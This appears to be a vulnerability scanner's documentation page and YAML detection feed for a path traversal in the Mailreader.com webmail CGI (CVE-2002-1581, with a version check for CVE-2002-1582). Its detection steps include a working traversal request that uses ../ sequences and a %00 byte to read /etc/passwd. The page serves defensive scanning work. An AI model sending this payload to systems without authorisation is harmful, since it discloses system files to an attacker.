Mailreader — 1 vulnerability check

noctis ships 1 vulnerability check for Mailreader, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Mailreader.com nph-mr.cgi configLanguage path traversal — arbitrary file read

CVECVE-2002-1581, CVE-2002-1582
Severitymedium · CVSS 5.0
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/mailreader/mailreader-configlanguage-traversal.yaml

Mailreader.com up to 2.3.31 is a web-based POP3 mail reader whose nph-mr.cgi builds the path of the login help page from the configLanguage parameter without filtering it. A "../" sequence followed by a NUL byte (%00) lets an unauthenticated visitor read any file the web server user can read. The test finds the Mailreader.com login help page under the common CGI directories, then requests it with a configLanguage made of a run of ../ sequences, etc/passwd and %00: the finding is confirmed when /etc/passwd comes back inside the Mailreader.com help page. Versions 2.3.30 and 2.3.31, whose compose.cgi also passes the user's RealEmail setting to Sendmail through a shell, are reported from the version in the page footer. Fixed in 2.3.32 and later.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET {{mr_dir}}/nph-mr.cgi?do=loginhelp&configLanguage=english HTTP/1.0
  2. Checks home.banner for Mailreader\.com v2\.3\.3[01][^0-9] → finding QoD 70: Mailreader.com 2.3.30 / 2.3.31 compose.cgi RealEmail command execution (CVE-2002-1582)
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET {{mr_dir}}/nph-mr.cgi?do=loginhelp&configLanguage=../../../../../../../../../../etc/p…
  4. Checks trav.banner for (?s)Mailreader\.com.*root:[^:\r\n<>]*:0:[01]: → finding QoD 75: Mailreader.com nph-mr.cgi configLanguage path traversal — arbitrary file read (CVE-2002-1581)

References:

Feed source — tests/vulnerabilities/mailreader/mailreader-configlanguage-traversal.yaml
# Mailreader.com <= 2.3.31 — nph-mr.cgi configLanguage file disclosure (CVE-2002-1581)
# and compose.cgi RealEmail command execution (CVE-2002-1582)
#
# Ported from OpenVAS/Greenbone NVT pre2008/mailreader.nasl
# (OID 1.3.6.1.4.1.25623.1.0.11780, GPL-2.0-only).
#
# Root cause (read in the 2.3.29 source, fix read in 2.3.36 / Debian DSA-534-1):
#   nph-mr.cgi copies every configXxx query parameter into %CONFIG (form2config), and
#   misc.cgi loginHelp() renders html/loginhelp.html with
#       getTemplate("$CONFIG{'Language'}.help")  ->  loadFile($CONFIG{'HTMLPath'} . $name)
#   with no filtering. "../" walks out of HTMLPath and, on the Perl releases of the
#   time, a NUL byte (%00) cuts the ".help" suffix off the open() path, so the file is
#   pasted verbatim into the help page. 2.3.36 (and the Debian 2.3.29-5woody1 backport)
#   strips every character outside [A-Za-z0-9_.-] from the template name.
#   CVE-2002-1582 needs a logged-in user and Sendmail as the MTA: it is not probed.
#
# Detection — each loop iteration tries one CGI directory:
#   1. GET <dir>/nph-mr.cgi?do=loginhelp&configLanguage=english; the page must be a
#      Mailreader.com page (the "Mailreader.com" title / footer) to go on.
#   2. version footer "Mailreader.com v2.3.30|31" → CVE-2002-1582 (QoD 70, version
#      only — the command injection needs an account and a Sendmail MTA).
#   3. configLanguage=../../(x10)etc/passwd%00 → /etc/passwd inside the Mailreader
#      help page → CVE-2002-1581 confirmed by a real, read-only file read (QoD 75).
#
# Better than the NASL:
#   * The NASL only goes on when the page says "Powered by Mailreader.com", a string the
#     stock 2.3.29 – 2.3.36 templates never print (their footer is "Mailreader.com
#     v2.3.x (date) Copyright (C) Kim Holviala"), so it misses stock installs. This feed
#     gates on "Mailreader.com", which both the title and the footer carry.
#   * It probes the Debian/Ubuntu package path /cgi-bin/mailreader/ and the vendor
#     layouts (/cgi-bin/mail/, /mr2/cgi-bin/ of the tarball, /mr2/) besides the web root and /cgi-bin/.
#   * No version-only finding for <= 2.3.29: Debian shipped the fix as 2.3.29-5woody1,
#     still printing "v2.3.29", and on a modern Perl the NUL is refused so the file
#     read is impossible — the real read (step 3) is the proof for CVE-2002-1581.
uid: f5f1e854-c069-4a3e-b49a-5f9b53510105
name: "Mailreader.com nph-mr.cgi configLanguage path traversal — arbitrary file read (CVE-2002-1581, CVE-2002-1582)"
description: |
  Mailreader.com up to 2.3.31 is a web-based POP3 mail reader whose nph-mr.cgi builds the
  path of the login help page from the configLanguage parameter without filtering it. A
  "../" sequence followed by a NUL byte (%00) lets an unauthenticated visitor read any
  file the web server user can read. The test finds the Mailreader.com login help page
  under the common CGI directories, then requests it with a configLanguage made of a
  run of ../ sequences, etc/passwd and %00: the finding is confirmed when /etc/passwd comes
  back inside the Mailreader.com help page. Versions 2.3.30 and 2.3.31, whose
  compose.cgi also passes the user's RealEmail setting to Sendmail through a shell, are
  reported from the version in the page footer. Fixed in 2.3.32 and later.
cves: [CVE-2002-1581, CVE-2002-1582]
cvss: 5.0
severity: medium
category: file-read
confidence_base: 0.25
tags: [mailreader, webmail, cgi, perl, path-traversal, file-read, null-byte, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2002-1581"
  - "https://nvd.nist.gov/vuln/detail/CVE-2002-1582"
  - "https://www.exploit-db.com/exploits/21966"
  - "https://www.debian.org/security/2004/dsa-534"

steps:
  # ── Loop group: every step below runs once per candidate CGI directory ────
  # Pre-initialise both stored results so a refused connection or a skipped
  # step never leaves them undefined or stale from the previous directory.
  - id: init-home
    action: set_var
    var_name: home
    var_value: {connected: false, banner: null}
    loop:
      over: ["/cgi-bin/mail", "/cgi-bin/mailreader", "/cgi-bin", "", "/mr2/cgi-bin", "/mr2", "/mail", "/mail/cgi-bin", "/mailreader", "/mailreader/cgi-bin", "/webmail"]
      var: mr_dir

  - id: init-trav
    action: set_var
    var_name: trav
    var_value: {connected: false, banner: null}

  # 1 — the stock login help page (english.help).
  - id: help-page
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{mr_dir}}/nph-mr.cgi?do=loginhelp&configLanguage=english HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: home

  # 2 — CVE-2002-1582: 2.3.30 / 2.3.31 from the footer (version only).
  - id: version-1582
    action: match
    condition: 'type_of(home.banner) == "string"'
    source: home.banner
    pattern: "Mailreader\\.com v2\\.3\\.3[01][^0-9]"
    on_match:
      finding:
        cves: [CVE-2002-1582]
        cvss: 10.0
        severity: critical
        title: "Mailreader.com 2.3.30 / 2.3.31 compose.cgi RealEmail command execution (CVE-2002-1582)"
        confidence_delta: 0.45
        qod: 70
        evidence: "GET {{mr_dir}}/nph-mr.cgi?do=loginhelp answered with a Mailreader.com 2.3.30 / 2.3.31 footer (compose.cgi passes RealEmail to Sendmail through a shell)"

  # 3 — CVE-2002-1581: read /etc/passwd through configLanguage, only on a
  #     directory that really serves Mailreader.com.
  - id: traversal
    action: tcp_connect
    condition: 'type_of(home.banner) == "string" && home.banner.contains("Mailreader.com")'
    port: "{{port}}"
    send: "GET {{mr_dir}}/nph-mr.cgi?do=loginhelp&configLanguage=../../../../../../../../../../etc/passwd%00 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: trav

  # /etc/passwd must come back inside the Mailreader.com page itself.
  - id: traversal-match
    action: match
    condition: 'type_of(trav.banner) == "string"'
    source: trav.banner
    pattern: "(?s)Mailreader\\.com.*root:[^:\\r\\n<>]*:0:[01]:"
    on_match:
      finding:
        cves: [CVE-2002-1581]
        title: "Mailreader.com nph-mr.cgi configLanguage path traversal — arbitrary file read (CVE-2002-1581)"
        confidence_delta: 0.55
        qod: 75
        evidence: "Arbitrary file read — GET {{mr_dir}}/nph-mr.cgi?do=loginhelp&configLanguage=../(x10)etc/passwd%00 returned /etc/passwd (root:...:0:0:) inside the Mailreader.com help page"
      stop: true

View these feeds on GitHub